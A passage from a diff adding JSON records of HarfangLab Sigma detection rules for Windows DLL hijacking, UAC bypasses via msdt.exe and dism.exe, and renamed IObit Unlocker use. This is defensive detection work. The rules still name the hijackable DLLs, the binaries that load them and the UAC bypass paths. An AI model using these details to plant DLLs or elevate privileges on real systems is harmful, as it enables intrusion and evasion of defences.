+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_optionalfeatures.yml",
+  "content": "title: DLL Hijacking via optionalfeatures.exe\nid: 84419344-a6ed-4a37-9c60-2f16ddacf2ae\ndescription: |\n    Detects potential Windows DLL Hijacking via optionalfeatures.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'optionalfeatures.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\DUI70.dll'\n            - '\\msi.dll'\n            - '\\OLEACC.dll'\n            - '\\osbaseln.dll'\n            - '\\PROPSYS.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "84419344-a6ed-4a37-9c60-2f16ddacf2ae",
+  "rule_name": "DLL Hijacking via optionalfeatures.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via optionalfeatures.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "84500a2e-96cf-41a3-9e82-7c40ea436d83",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.093445Z",
+  "creation_date": "2026-03-23T11:45:34.093447Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.093451Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "http://blog.sevagas.com/?MSDT-DLL-Hijack-UAC-bypass",
+    "https://attack.mitre.org/techniques/T1574/002/",
+    "https://attack.mitre.org/techniques/T1548/002/"
+  ],
+  "name": "t1574_002_uac_bypass_msdt.yml",
+  "content": "title: UAC bypass via msdt.exe\nid: 84500a2e-96cf-41a3-9e82-7c40ea436d83\ndescription: |\n    Detects the UAC bypass for the Microsoft Support Diagnostic Tool (msdt.exe) by hijacking BluetoothDiagnosticUtil.dll.\n    When the 32bit version of msdt.exe is launch with BluetoothDiagnostic package, the binary reopens itself with high privileges.\n    Then, the elevated msdt.exe launches sdiagnhost.exe with elevated privileges and a missing DLL from user directory.\n    Attackers can replace this missing DLL BluetoothDiagnosticUtil.dll to elevated privileges on system.\n    Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation.\n    It is recommended to analyze the process and user session responsible for the creation of the library, as well as the library itself to look for malicious content or actions.\nreferences:\n    - http://blog.sevagas.com/?MSDT-DLL-Hijack-UAC-bypass\n    - https://attack.mitre.org/techniques/T1574/002/\n    - https://attack.mitre.org/techniques/T1548/002/\ndate: 2022/02/04\nmodified: 2025/02/14\nauthor: HarfangLab\ntags:\n    - attack.privilege_escalation\n    - attack.defense_evasion\n    - attack.t1574.002\n    - attack.t1548.002\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.UACBypass\n    - classification.Windows.Behavior.PrivilegeEscalation\n    - classification.Windows.Behavior.DLLHijacking\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        Image: '?:\\Windows\\SysWOW64\\sdiagnhost.exe'\n        ImageLoaded: '?:\\Users\\\\*\\AppData\\Local\\Microsoft\\WindowsApps\\BluetoothDiagnosticUtil.dll'\n\n    filter_signed:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "84500a2e-96cf-41a3-9e82-7c40ea436d83",
+  "rule_name": "UAC bypass via msdt.exe",
+  "rule_description": "Detects the UAC bypass for the Microsoft Support Diagnostic Tool (msdt.exe) by hijacking BluetoothDiagnosticUtil.dll.\nWhen the 32bit version of msdt.exe is launch with BluetoothDiagnostic package, the binary reopens itself with high privileges.\nThen, the elevated msdt.exe launches sdiagnhost.exe with elevated privileges and a missing DLL from user directory.\nAttackers can replace this missing DLL BluetoothDiagnosticUtil.dll to elevated privileges on system.\nWindows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation.\nIt is recommended to analyze the process and user session responsible for the creation of the library, as well as the library itself to look for malicious content or actions.\n",
+  "rule_creation_date": "2022-02-04",
+  "rule_modified_date": "2025-02-14",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1548.002",
+    "attack.t1574.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "848a9f71-06bf-4429-aec7-c38ba26072c9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.594086Z",
+  "creation_date": "2026-03-23T11:45:34.594090Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.594098Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.trendmicro.com/en_us/research/23/h/earth-estries-targets-government-tech-for-cyberespionage.html",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_brdifxapi.yml",
+  "content": "title: DLL Hijacking via brdifxapi.exe\nid: 848a9f71-06bf-4429-aec7-c38ba26072c9\ndescription: |\n    Detects potential Windows DLL Hijacking via brdifxapi.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.trendmicro.com/en_us/research/23/h/earth-estries-targets-government-tech-for-cyberespionage.html\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2023/09/05\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'BrDifxapi.exe'\n        ImageLoaded|endswith:\n            - '\\brlogapi.dll'\n            - '\\brlogapi64.dll'\n\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Program Files\\Brother\\'\n            - '?:\\Program Files (x86)\\Brother\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Program Files\\Brother\\'\n            - '?:\\Program Files (x86)\\Brother\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Dell Inc.'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "848a9f71-06bf-4429-aec7-c38ba26072c9",
+  "rule_name": "DLL Hijacking via brdifxapi.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via brdifxapi.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2023-09-05",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "84a338af-c81a-4279-b01a-f93486efc9ea",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.591674Z",
+  "creation_date": "2026-03-23T11:45:34.591677Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.591685Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://twitter.com/SBousseaden/status/1550903546916311043",
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://wietze.github.io/blog/save-the-environment-variables",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_dcdiag.yml",
+  "content": "title: DLL Hijacking via dcdiag.exe\nid: 84a338af-c81a-4279-b01a-f93486efc9ea\ndescription: |\n    Detects potential Windows DLL Hijacking via dcdiag.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://twitter.com/SBousseaden/status/1550903546916311043\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://wietze.github.io/blog/save-the-environment-variables\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'dcdiag.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\dnsapi.dll'\n            - '\\dsparse.dll'\n            - '\\dsrole.dll'\n            - '\\iphlpapi.dll'\n            - '\\mpr.dll'\n            - '\\netapi32.dll'\n            - '\\netutils.dll'\n            - '\\ntdsapi.dll'\n            - '\\samcli.dll'\n            - '\\srvcli.dll'\n            - '\\wevtapi.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "84a338af-c81a-4279-b01a-f93486efc9ea",
+  "rule_name": "DLL Hijacking via dcdiag.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via dcdiag.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "84a4a652-d451-45f3-bbdd-9b17f02d3387",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-24T07:14:08.521951Z",
+  "creation_date": "2026-03-23T11:45:34.093191Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.093205Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://enigma0x3.net/2016/07/22/bypassing-uac-on-windows-10-using-disk-cleanup/",
+    "https://attack.mitre.org/techniques/T1548/002/"
+  ],
+  "name": "t1548_002_uac_bypass_dismcore.yml",
+  "content": "title: UAC Bypass Executed via dism\nid: 84a4a652-d451-45f3-bbdd-9b17f02d3387\ndescription: |\n    Detects the execution of the dism.exe/dismhost.exe UAC bypass, involving the hijacking of the dismcore.dll or api-ms-win-core-kernel32-legacy-l1.dll DLLs.\n    Adversaries may bypass UAC mechanisms to elevate process privileges on system.\n    Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation.\n    It is recommended to analyze the process and user session responsible for the creation of the DLL to look for malicious content or actions.\nreferences:\n    - https://enigma0x3.net/2016/07/22/bypassing-uac-on-windows-10-using-disk-cleanup/\n    - https://attack.mitre.org/techniques/T1548/002/\ndate: 2020/09/10\nmodified: 2026/03/20\nauthor: HarfangLab\ntags:\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - attack.t1548.002\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.UACBypass\n    - classification.Windows.Behavior.PrivilegeEscalation\n    - classification.Windows.Behavior.DLLHijacking\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection_dism:\n        Image: '?:\\Windows\\System32\\dism.exe'\n        ImageLoaded|endswith: '\\dismcore.dll'\n\n    selection_dismhost:\n        Image|endswith: '\\DismHost.exe'\n        ImageLoaded|endswith: '\\api-ms-win-core-kernel32-legacy-l1.dll'\n\n    filter_signed:\n        Signed: 'true'\n        Signature:\n            - 'Microsoft Windows'\n            - 'Microsoft Windows Publisher'\n            - 'Microsoft Corporation'\n\n    exclusion_manageengine:\n        ProcessGrandparentImage: '?:\\Program Files (x86)\\ManageEngine\\UEMS_Agent\\bin\\dcpatchscan.exe'\n\n    condition: 1 of selection_* and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "84a4a652-d451-45f3-bbdd-9b17f02d3387",
+  "rule_name": "UAC Bypass Executed via dism",
+  "rule_description": "Detects the execution of the dism.exe/dismhost.exe UAC bypass, involving the hijacking of the dismcore.dll or api-ms-win-core-kernel32-legacy-l1.dll DLLs.\nAdversaries may bypass UAC mechanisms to elevate process privileges on system.\nWindows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation.\nIt is recommended to analyze the process and user session responsible for the creation of the DLL to look for malicious content or actions.\n",
+  "rule_creation_date": "2020-09-10",
+  "rule_modified_date": "2026-03-20",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1548.002",
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "84b51994-8a90-450f-aa06-cf5f5cac2232",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.627232Z",
+  "creation_date": "2026-03-23T11:45:34.627234Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.627238Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.reliaquest.com/blog/double-extortion-attack-analysis/",
+    "https://www.iobit.com/fr/iobit-unlocker.php",
+    "https://attack.mitre.org/techniques/T1562/001/"
+  ],
+  "name": "t1562_001_execution_of_renamed_iobitunlocker.yml",
+  "content": "title: Execution of Renamed IObit Unlocker\nid: 84b51994-8a90-450f-aa06-cf5f5cac2232\ndescription: |\n    Detects the execution of a renamed IObit Unlocker, a tool that may be exploited by adversaries to disable or modify security tools to avoid detection of malicious activities.\n    IObit Unlocker is a legitimate utility designed to remove locked files or folders, but its use can indicate unauthorized attempts to circumvent security measures.\n    It is recommended to verify if the execution of IObit Unlocker is authorized, investigate the process for malicious behavior, check file integrity, and monitor for suspicious modifications to security-related tools or processes.\nreferences:\n    - https://www.reliaquest.com/blog/double-extortion-attack-analysis/\n    - https://www.iobit.com/fr/iobit-unlocker.php\n    - https://attack.mitre.org/techniques/T1562/001/\ndate: 2023/09/19\nmodified: 2026/02/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1562.001\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Tool.IOBitUnlocker\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.ImpairDefenses\n    - classification.Windows.Behavior.Masquerading\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        - Description: 'Unlocker'\n        - Product: 'Unlocker'\n\n    selection_company:\n        Company|contains: 'IObit'\n\n    selection_signature:\n        ProcessSigned: 'true'\n        ProcessSignature: 'IObit CO., LTD'\n\n    # This is handled by the rule 74259026-c475-45cc-bac2-fb2a5768e419\n    filter_image:\n        Image|endswith: '\\IObitUnlocker.exe'\n\n    condition: selection and 1 of selection_* and not 1 of filter_*\nlevel: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "84b51994-8a90-450f-aa06-cf5f5cac2232",
+  "rule_name": "Execution of Renamed IObit Unlocker",
+  "rule_description": "Detects the execution of a renamed IObit Unlocker, a tool that may be exploited by adversaries to disable or modify security tools to avoid detection of malicious activities.\nIObit Unlocker is a legitimate utility designed to remove locked files or folders, but its use can indicate unauthorized attempts to circumvent security measures.\nIt is recommended to verify if the execution of IObit Unlocker is authorized, investigate the process for malicious behavior, check file integrity, and monitor for suspicious modifications to security-related tools or processes.\n",
+  "rule_creation_date": "2023-09-19",
+  "rule_modified_date": "2026-02-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1562.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "84ceb67c-e594-4e0c-9494-ecacb9897967",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.588446Z",
+  "creation_date": "2026-03-23T11:45:34.588450Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.588457Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_wksprt.yml",
+  "content": "title: DLL Hijacking via wksprt.exe\nid: 84ceb67c-e594-4e0c-9494-ecacb9897967\ndescription: |\n    Detects potential Windows DLL Hijacking via wksprt.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'wksprt.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\webservices.dll'\n            - '\\WININET.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "84ceb67c-e594-4e0c-9494-ecacb9897967",
+  "rule_name": "DLL Hijacking via wksprt.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via wksprt.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "84e95c4d-07d4-49bc-90f2-6545f7ef9b88",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
